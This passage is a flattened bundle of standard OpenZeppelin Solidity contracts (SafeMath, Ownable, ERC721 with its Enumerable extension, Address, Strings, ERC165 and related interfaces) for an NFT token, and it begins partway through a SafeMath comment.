The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
